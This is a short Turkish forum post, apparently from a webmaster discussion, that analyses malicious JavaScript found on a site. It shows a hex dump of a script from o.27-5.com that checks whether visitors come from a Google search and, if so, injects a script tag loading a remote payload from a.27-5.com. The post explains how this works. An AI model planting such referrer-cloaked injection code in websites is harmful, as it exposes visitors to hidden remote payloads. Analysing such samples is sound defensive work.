Bu da yukarıda paylaştığım kodun ilk geldiği yer:

URL:

http://o.27-5.com/io

İÇERİĞİ:

00000000:  28  66  75  6e  63  74  69  6f  6e  28  64  2c  66  29  7b  0d  (function(d,f){.
00000010:  0a  09  69  66  28  77  69  6e  64  6f  77  2e  52  75  6e  6e  ..if(window.Runn
00000020:  69  6e  67  53  65  74  74  69  6e  67  73  29  0d  0a  09  09  ingSettings)....
00000030:  72  65  74  75  72  6e  3b  0d  0a  09  77  69  6e  64  6f  77  return;...window
00000040:  2e  52  75  6e  6e  69  6e  67  53  65  74  74  69  6e  67  73  .RunningSettings
00000050:  20  3d  20  74  72  75  65  3b  0d  0a  09  0d  0a  09  69  66   = true;......if
00000060:  28  20  66  28  64  2c  27  67  6f  6f  67  6c  65  2e  27  29  ( f(d,'google.')
00000070:  26  26  66  28  64  2c  27  71  3d  27  29  20  29  20  7b  0d  &&f(d,'q=') ) {.
00000080:  0a  09  09  64  2e  77  72  69  74  65  28  27  3c  73  63  72  ...d.write('<scr
00000090:  69  70  74  20  73  72  63  3d  22  68  74  74  70  3a  2f  2f  ipt src="http://
000000a0:  61  2e  32  37  2d  35  2e  63  6f  6d  2f  61  2f  34  33  31  a.27-5.com/a/431
000000b0:  39  36  39  31  35  35  36  30  2e  70  68  70  3f  6c  61  6e  96915560.php?***
000000c0:  67  3d  67  77  26  77  6b  3d  30  22  3e  3c  2f  73  63  72  g=gw&wk=0"></scr
000000d0:  69  70  74  3e  27  29  3b  0d  0a  09  7d  0d  0a  7d  29  28  ipt>');...}..})(
000000e0:  64  6f  63  75  6d  65  6e  74  2c  66  75  6e  63  74  69  6f  document,functio
000000f0:  6e  28  64  2c  72  29  20  7b  20  72  65  74  75  72  6e  20  n(d,r) { return 
00000100:  64  2e  72  65  66  65  72  72  65  72  2e  69  6e  64  65  78  d.referrer.index
00000110:  4f  66  28  72  29  3e  2d  31  3b  7d  20  29  3b              Of(r)>-1;} );

Görüldüğü üzere kod önce bakıyor ziyaretçi Google kaynaklı mı, Google kaynaklı ise <script></script> etiketleri arasındaki bağlantıyı çağırıyor.
Çağırılan bu bağlantıda ise yukarıda paylaştığım ve @Webbilgim tarafından açık hali verilen kod çağırılıyor.